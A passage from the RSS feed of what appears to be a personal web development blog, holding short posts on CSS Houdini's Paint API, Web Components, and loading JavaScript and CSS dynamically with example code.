&lt;li&gt;CSS Parser API - possibility to implement sass/less/etc support&lt;/li&gt;
&lt;li&gt;CSS Properties and Values API - more advanced CSS properties (variables)&lt;/li&gt;
&lt;li&gt;CSS Typed OM - CSS values as typed  JS objects&lt;/li&gt;
&lt;li&gt;CSS Layout API - create custom layouts (like grid or flexbox)&lt;/li&gt;
&lt;li&gt;CSS Painting API - draw something in CSS&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;concept&#34;&gt;Concept&lt;/h2&gt;
&lt;p&gt;Allows developers to create custom functions for &lt;code&gt;paint()&lt;/code&gt; to draw images for CSS (where they can be used, like backgrounds, border images, &amp;hellip;).&lt;/p&gt;
&lt;h2 id=&#34;usage&#34;&gt;Usage&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;define a paint worklet using &lt;code&gt;registerPaint()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;register the worklet&lt;/li&gt;
&lt;li&gt;use it in your CSS&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;demo&#34;&gt;Demo&lt;/h2&gt;
&lt;p&gt;See &lt;a href=&#34;&#34;&gt;demo.html&lt;/a&gt;&lt;/p&gt;</content>
    </item>
    
    <item>
      <title>WebComponents</title>
      <link>https://horak.hu/posts/webcomponents/</link>
      <pubDate>Mon, 30 Nov 2020 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/webcomponents/</guid>
      <description>&lt;ul&gt;
&lt;li&gt;reusable custom elements&lt;/li&gt;
&lt;li&gt;framework independent&lt;/li&gt;
&lt;li&gt;standardized&lt;/li&gt;
&lt;/ul&gt;</description>
      <content>&lt;ul&gt;
&lt;li&gt;reusable custom elements&lt;/li&gt;
&lt;li&gt;framework independent&lt;/li&gt;
&lt;li&gt;standardized&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;related-standards&#34;&gt;Related standards&lt;/h2&gt;
&lt;h3 id=&#34;custom-elements&#34;&gt;Custom Elements&lt;/h3&gt;
&lt;p&gt;JS API to define custom HTML elements.&lt;/p&gt;
&lt;h3 id=&#34;shadow-dom&#34;&gt;Shadow DOM&lt;/h3&gt;
&lt;p&gt;JS API to attach encapsulated &amp;ldquo;shadow&amp;rdquo; DOM to an element, which will be &amp;ldquo;separated&amp;rdquo; from the main document.
This way the elements styles, events, &amp;ldquo;shadow&amp;rdquo; children could be kept &amp;ldquo;private&amp;rdquo;, and won&amp;rsquo;t collide with the main document&amp;rsquo;s styles, etc.&lt;/p&gt;
&lt;h3 id=&#34;html-templates&#34;&gt;HTML templates&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;template&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;slot&amp;gt;&lt;/code&gt; elements&lt;/p&gt;
&lt;h2 id=&#34;basic-approach&#34;&gt;Basic approach&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;create a class for the web component, inherit from &lt;code&gt;HTMLElement&lt;/code&gt; (or descendants) for best result&lt;/li&gt;
&lt;li&gt;register your element using &lt;code&gt;CustomElementRegistry.define()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;attach a shadow DOM if required using &lt;code&gt;Element.attachShadow()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;you can use &lt;code&gt;&amp;lt;template&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;slot&amp;gt;&lt;/code&gt; for the content&lt;/li&gt;
&lt;li&gt;use your new element wherever you like as any regular HTML element&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;support&#34;&gt;Support&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Almost&lt;/em&gt; all the browsers support them. (Even IE11 w/ polyfill.)&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Almost&lt;/em&gt; all modern framework could handle web components as they were standard HTML elements, and lot of them are capable of &lt;em&gt;exporting&lt;/em&gt; their own components as standard web compononents.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://custom-elements-everywhere.com/&#34;&gt;https://custom-elements-everywhere.com/&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;whats-next&#34;&gt;What&amp;rsquo;s next?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;scoped custom element registry - to avoid name collisions&lt;/li&gt;
&lt;li&gt;constructable stylesheets - attach/manipulate styles to a (shadow) DOM tree more easily&lt;/li&gt;
&lt;li&gt;CSS modules - &lt;code&gt;import&lt;/code&gt; CSS into JS modules&lt;/li&gt;
&lt;li&gt;Shadow Parts - expose parts of the shadow DOM to the parent DOM tree az &lt;em&gt;pseudo-elements&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Declarative Shadow DOM - fill the shadow DOM from a template w/o using any JS&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;a href=&#34;https://horak.hu/posts/webcomponents/&#34;&gt;Demo&lt;/a&gt;&lt;/p&gt;</content>
    </item>
    
    <item>
      <title>Loading JS</title>
      <link>https://horak.hu/posts/js_load/</link>
      <pubDate>Thu, 12 Nov 2020 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/js_load/</guid>
      <description>&lt;p&gt;How can we load JavaScript code into a website?&lt;/p&gt;</description>
      <content>&lt;p&gt;How can we load JavaScript code into a website?&lt;/p&gt;
&lt;h2 id=&#34;different-ways-of-static-inclusion&#34;&gt;Different ways of static inclusion&lt;/h2&gt;
&lt;p&gt;
  &lt;img src=&#34;./js_loading.svg&#34; alt=&#34;js load order&#34;&gt;


( (CC) whatwg.org )&lt;/p&gt;
&lt;h2 id=&#34;loading-js-from-js&#34;&gt;Loading JS from JS&lt;/h2&gt;
&lt;h3 id=&#34;classic-way-works-everywhere&#34;&gt;Classic way (works everywhere)&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;loadJS&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;src&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;cb&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;script&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; document.&lt;span style=&#34;color:#a6e22e&#34;&gt;createElement&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;script&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;script&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;src&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;src&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;script&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;onload&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;cb&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;// script.async, script.defer, ... could be set here as well
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  document.&lt;span style=&#34;color:#a6e22e&#34;&gt;head&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;appendChild&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;script&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;loadJS&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/js/foobar.js&amp;#34;&lt;/span&gt;, () =&amp;gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;console&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;log&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;foobar loaded&amp;#34;&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;adding-asyncawait&#34;&gt;Adding async/await&lt;/h4&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;loadScript&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;src&lt;/span&gt; =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; Promise(&lt;span style=&#34;color:#a6e22e&#34;&gt;resolve&lt;/span&gt; =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// loadJS from above, I don&amp;#39;t want to copy it
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;loadJS&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;src&lt;/span&gt;, () =&amp;gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;resolve&lt;/span&gt;());
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  });
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// ! from an async context
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;await&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;loadScript&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/js/foobar.js&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;console&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;log&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;foobar loaded&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;modules&#34;&gt;Modules&lt;/h3&gt;
&lt;p&gt;Modules can be loaded only from othen modules.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;import&lt;/span&gt; { &lt;span style=&#34;color:#a6e22e&#34;&gt;whatever&lt;/span&gt; } &lt;span style=&#34;color:#a6e22e&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;foobar.js&amp;#34;&lt;/span&gt;; &lt;span style=&#34;color:#75715e&#34;&gt;// cannot use variables here, and should be in the root context
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;whatever&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;hello&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;dynamic-import&#34;&gt;Dynamic import&lt;/h4&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; { &lt;span style=&#34;color:#a6e22e&#34;&gt;whatever&lt;/span&gt; } &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;await&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;import&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;foobar.js&amp;#34;&lt;/span&gt;); &lt;span style=&#34;color:#75715e&#34;&gt;// variables can be used
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;whatever&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;hello&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;loading-css&#34;&gt;Loading CSS&lt;/h2&gt;
&lt;p&gt;Basically the same way:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;loadCSS&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;path&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;cb&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;link&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; document.&lt;span style=&#34;color:#a6e22e&#34;&gt;createElement&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;link&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;link&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;href&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;path&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;link&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;type&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;text/css&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;link&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;rel&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;stylesheet&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;link&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;onload&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;cb&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  document.&lt;span style=&#34;color:#a6e22e&#34;&gt;head&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;appendChild&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;link&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;loadCSS&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/css/whatever.css&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;from-css&#34;&gt;&amp;hellip;from CSS&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-css&#34; data-lang=&#34;css&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;@&lt;span style=&#34;color:#66d9ef&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;./whatever.css&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content>
    </item>
    
  </channel>
</rss>
